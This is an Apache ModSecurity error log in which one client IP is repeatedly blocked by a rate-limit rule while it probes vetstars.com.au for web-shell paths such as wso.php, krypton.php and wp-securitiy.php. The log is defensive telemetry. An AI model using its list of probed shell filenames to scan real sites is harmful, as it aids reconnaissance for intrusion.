[Tue Dec 16 16:53:44.767351 2025] [:error] [pid 51991:tid 52014] [client 4.189.124.35:60225] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/l3gi0n.php"] [unique_id "aUEeGK7zKCVJSuwV1xZuUgAAARU"]
[Tue Dec 16 16:53:47.101478 2025] [:error] [pid 51991:tid 51998] [client 4.189.124.35:59468] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aUEeG67zKCVJSuwV1xZuXgAAAQU"]
[Tue Dec 16 16:53:48.160193 2025] [:error] [pid 18323:tid 18376] [client 4.189.124.35:60778] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aUEeHDJB6UFxIutsA8YJrwAAAFc"]
[Tue Dec 16 16:53:49.565724 2025] [:error] [pid 51991:tid 52005] [client 4.189.124.35:10049] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aUEeHa7zKCVJSuwV1xZuYQAAAQw"]
[Tue Dec 16 16:53:52.204783 2025] [:error] [pid 18408:tid 18413] [client 4.189.124.35:60262] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test1.php"] [unique_id "aUEeIDi2Gr8pDzjrVBDp-wAAAMM"]
[Tue Dec 16 16:53:54.374906 2025] [:error] [pid 18408:tid 18419] [client 4.189.124.35:53332] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bo.php"] [unique_id "aUEeIji2Gr8pDzjrVBDp_wAAAMk"]
[Tue Dec 16 16:53:57.735003 2025] [:error] [pid 18322:tid 18339] [client 4.189.124.35:10094] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bo.php"] [unique_id "aUEeJZsCeWBjrw28XtzjjAAAAA0"]
[Tue Dec 16 16:53:59.653566 2025] [:error] [pid 53940:tid 53953] [client 4.189.124.35:60775] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bo.php"] [unique_id "aUEeJ191PNbcXLVkpR7KEwAAAco"]
[Tue Dec 16 16:54:01.451611 2025] [:error] [pid 35998:tid 36011] [client 4.189.124.35:60267] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bo.php"] [unique_id "aUEeKRKnhGuuhGxBSLOQzQAAAUo"]
[Tue Dec 16 16:54:02.979789 2025] [:error] [pid 12330:tid 12343] [client 4.189.124.35:10074] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "aUEeKl6iIQEVCIh8V1lUKwAAAYk"]
[Tue Dec 16 16:54:04.100875 2025] [:error] [pid 18322:tid 18339] [client 4.189.124.35:53326] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "aUEeLJsCeWBjrw28XtzjmwAAAA0"]
[Tue Dec 16 16:54:05.969948 2025] [:error] [pid 18323:tid 18366] [client 4.189.124.35:59487] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "aUEeLTJB6UFxIutsA8YJwAAAAE0"]
[Tue Dec 16 16:54:08.505705 2025] [:error] [pid 51991:tid 51996] [client 4.189.124.35:10108] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "aUEeMK7zKCVJSuwV1xZuawAAAQM"]
[Tue Dec 16 16:54:11.571747 2025] [:error] [pid 12330:tid 12339] [client 4.189.124.35:60256] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Contrller.php"] [unique_id "aUEeM16iIQEVCIh8V1lUQAAAAYU"]
[Tue Dec 16 16:54:13.223307 2025] [:error] [pid 18323:tid 18353] [client 4.189.124.35:55975] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Contrller.php"] [unique_id "aUEeNTJB6UFxIutsA8YJxQAAAEA"]
[Tue Dec 16 16:54:15.517072 2025] [:error] [pid 12330:tid 12337] [client 4.189.124.35:60278] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Contrller.php"] [unique_id "aUEeN16iIQEVCIh8V1lUSQAAAYM"]
[Tue Dec 16 16:54:16.951701 2025] [:error] [pid 51991:tid 52017] [client 4.189.124.35:55971] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Contrller.php"] [unique_id "aUEeOK7zKCVJSuwV1xZu1wAAARg"]
[Tue Dec 16 16:54:19.033938 2025] [:error] [pid 18322:tid 18348] [client 4.189.124.35:60254] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/o2.php"] [unique_id "aUEeO5sCeWBjrw28XtzjpAAAABY"]
[Tue Dec 16 16:54:20.437236 2025] [:error] [pid 53940:tid 53955] [client 4.189.124.35:59466] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/o2.php"] [unique_id "aUEePF91PNbcXLVkpR7KIwAAAcw"]
[Tue Dec 16 16:54:21.929640 2025] [:error] [pid 18408:tid 18420] [client 4.189.124.35:53343] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/o2.php"] [unique_id "aUEePTi2Gr8pDzjrVBDqGQAAAMo"]
[Tue Dec 16 16:54:24.548221 2025] [:error] [pid 18322:tid 18340] [client 4.189.124.35:53369] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/o2.php"] [unique_id "aUEeQJsCeWBjrw28XtzjsAAAAA4"]
[Tue Dec 16 16:54:26.569174 2025] [:error] [pid 18408:tid 18413] [client 4.189.124.35:55967] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "aUEeQji2Gr8pDzjrVBDqJgAAAMM"]
[Tue Dec 16 16:54:28.271771 2025] [:error] [pid 51991:tid 52016] [client 4.189.124.35:60245] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "aUEeRK7zKCVJSuwV1xZu6AAAARc"]
[Tue Dec 16 16:54:29.655505 2025] [:error] [pid 51991:tid 51995] [client 4.189.124.35:55977] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "aUEeRa7zKCVJSuwV1xZu7QAAAQI"]
[Tue Dec 16 16:54:36.740643 2025] [:error] [pid 35998:tid 36020] [client 4.189.124.35:55976] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "aUEeTBKnhGuuhGxBSLOQ5wAAAVM"]
[Tue Dec 16 16:54:40.430827 2025] [:error] [pid 53940:tid 53959] [client 4.189.124.35:55984] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error_log.php"] [unique_id "aUEeUF91PNbcXLVkpR7KOAAAAdA"]
[Tue Dec 16 16:54:43.011876 2025] [:error] [pid 51991:tid 52006] [client 4.189.124.35:10084] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inghl.php"] [unique_id "aUEeU67zKCVJSuwV1xZvCAAAAQ0"]
[Tue Dec 16 16:54:45.104162 2025] [:error] [pid 51991:tid 52001] [client 4.189.124.35:55989] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inghl.php"] [unique_id "aUEeVa7zKCVJSuwV1xZvDgAAAQg"]
[Tue Dec 16 16:54:49.868648 2025] [:error] [pid 51991:tid 52011] [client 4.189.124.35:53320] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inghl.php"] [unique_id "aUEeWa7zKCVJSuwV1xZvGAAAARI"]
[Tue Dec 16 16:54:51.370188 2025] [:error] [pid 18323:tid 18363] [client 4.189.124.35:60753] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inghl.php"] [unique_id "aUEeWzJB6UFxIutsA8YJ7QAAAEo"]
[Tue Dec 16 16:54:53.190209 2025] [:error] [pid 18408:tid 18426] [client 4.189.124.35:59518] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-securitiy.php"] [unique_id "aUEeXTi2Gr8pDzjrVBDqPAAAANA"]
[Tue Dec 16 16:54:54.620599 2025] [:error] [pid 18322:tid 18328] [client 4.189.124.35:60259] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-securitiy.php"] [unique_id "aUEeXpsCeWBjrw28XtzjvwAAAAI"]
[Tue Dec 16 16:54:55.626462 2025] [:error] [pid 12330:tid 12357] [client 4.189.124.35:10106] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-securitiy.php"] [unique_id "aUEeX16iIQEVCIh8V1lUaQAAAZc"]
[Tue Dec 16 16:54:57.930392 2025] [:error] [pid 18324:tid 18402] [client 4.189.124.35:62883] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-securitiy.php"] [unique_id "aUEeYaG4um2mD1VpJHJzbwAAAJY"]
[Tue Dec 16 16:54:58.866859 2025] [:error] [pid 53940:tid 53946] [client 4.189.124.35:53368] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aUEeYl91PNbcXLVkpR7KOwAAAcM"]
[Tue Dec 16 16:54:59.981944 2025] [:error] [pid 12330:tid 12347] [client 4.189.124.35:55936] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aUEeY16iIQEVCIh8V1lUcAAAAY0"]
[Tue Dec 16 16:55:01.861209 2025] [:error] [pid 18324:tid 18393] [client 4.189.124.35:10059] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aUEeZaG4um2mD1VpJHJzdAAAAI0"]
[Tue Dec 16 16:55:02.732824 2025] [:error] [pid 18408:tid 18416] [client 4.189.124.35:55979] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/click.php"] [unique_id "aUEeZji2Gr8pDzjrVBDqTAAAAMY"]
[Tue Dec 16 16:55:05.026384 2025] [:error] [pid 51991:tid 52015] [client 4.189.124.35:53373] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ac.php"] [unique_id "aUEeaa7zKCVJSuwV1xZvIQAAARY"]
[Tue Dec 16 16:55:06.232483 2025] [:error] [pid 53940:tid 53945] [client 4.189.124.35:10102] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ac.php"] [unique_id "aUEeal91PNbcXLVkpR7KSAAAAcI"]
[Tue Dec 16 16:55:08.393377 2025] [:error] [pid 51991:tid 52009] [client 4.189.124.35:53372] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ac.php"] [unique_id "aUEebK7zKCVJSuwV1xZvKAAAARA"]
[Tue Dec 16 16:55:10.428417 2025] [:error] [pid 18323:tid 18375] [client 4.189.124.35:57259] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ac.php"] [unique_id "aUEebjJB6UFxIutsA8YJ_gAAAFY"]
[Tue Dec 16 16:55:11.462172 2025] [:error] [pid 35998:tid 36023] [client 4.189.124.35:59479] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/krypton.php"] [unique_id "aUEebxKnhGuuhGxBSLORBgAAAVY"]
[Tue Dec 16 16:55:13.181968 2025] [:error] [pid 18408:tid 18434] [client 4.189.124.35:10065] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/krypton.php"] [unique_id "aUEecTi2Gr8pDzjrVBDqVAAAANg"]
[Tue Dec 16 16:55:14.557336 2025] [:error] [pid 18322:tid 18345] [client 4.189.124.35:59473] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/krypton.php"] [unique_id "aUEecpsCeWBjrw28XtzjxwAAABM"]
[Tue Dec 16 16:55:16.000143 2025] [:error] [pid 51991:tid 52016] [client 4.189.124.35:60761] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/krypton.php"] [unique_id "aUEec67zKCVJSuwV1xZvLQAAARc"]
[Tue Dec 16 16:55:17.210518 2025] [:error] [pid 53940:tid 53959] [client 4.189.124.35:62903] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karma_57c3d4.php"] [unique_id "aUEedV91PNbcXLVkpR7KVAAAAdA"]
[Tue Dec 16 16:55:18.968512 2025] [:error] [pid 18408:tid 18418] [client 4.189.124.35:53358] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karma_57c3d4.php"] [unique_id "aUEedji2Gr8pDzjrVBDqWwAAAMg"]
[Tue Dec 16 16:55:20.591322 2025] [:error] [pid 53940:tid 53960] [client 4.189.124.35:55950] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karma_57c3d4.php"] [unique_id "aUEeeF91PNbcXLVkpR7KWgAAAdE"]
[Tue Dec 16 16:55:21.653496 2025] [:error] [pid 18323:tid 18366] [client 4.189.124.35:10067] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karma_57c3d4.php"] [unique_id "aUEeeTJB6UFxIutsA8YKDAAAAE0"]
[Tue Dec 16 16:55:26.529465 2025] [:error] [pid 18408:tid 18433] [client 4.189.124.35:55974] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fc72f.php"] [unique_id "aUEefji2Gr8pDzjrVBDqbgAAANc"]
[Tue Dec 16 16:55:27.438420 2025] [:error] [pid 18408:tid 18425] [client 4.189.124.35:53319] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fc72f.php"] [unique_id "aUEefzi2Gr8pDzjrVBDqcQAAAM8"]
[Tue Dec 16 16:55:29.749267 2025] [:error] [pid 18322:tid 18344] [client 4.189.124.35:60224] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fc72f.php"] [unique_id "aUEegZsCeWBjrw28Xtzj9wAAABI"]
[Tue Dec 16 16:55:31.162230 2025] [:error] [pid 12330:tid 12351] [client 4.189.124.35:53315] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fc72f.php"] [unique_id "aUEeg16iIQEVCIh8V1lUiwAAAZE"]
[Tue Dec 16 16:55:33.253762 2025] [:error] [pid 53940:tid 53943] [client 4.189.124.35:55957] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aUEehV91PNbcXLVkpR7KYQAAAcA"]
[Tue Dec 16 16:55:44.344153 2025] [:error] [pid 12330:tid 12354] [client 4.189.124.35:55946] [client 4.189.124.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aUEekF6iIQEVCIh8V1lUsQAAAZQ"]
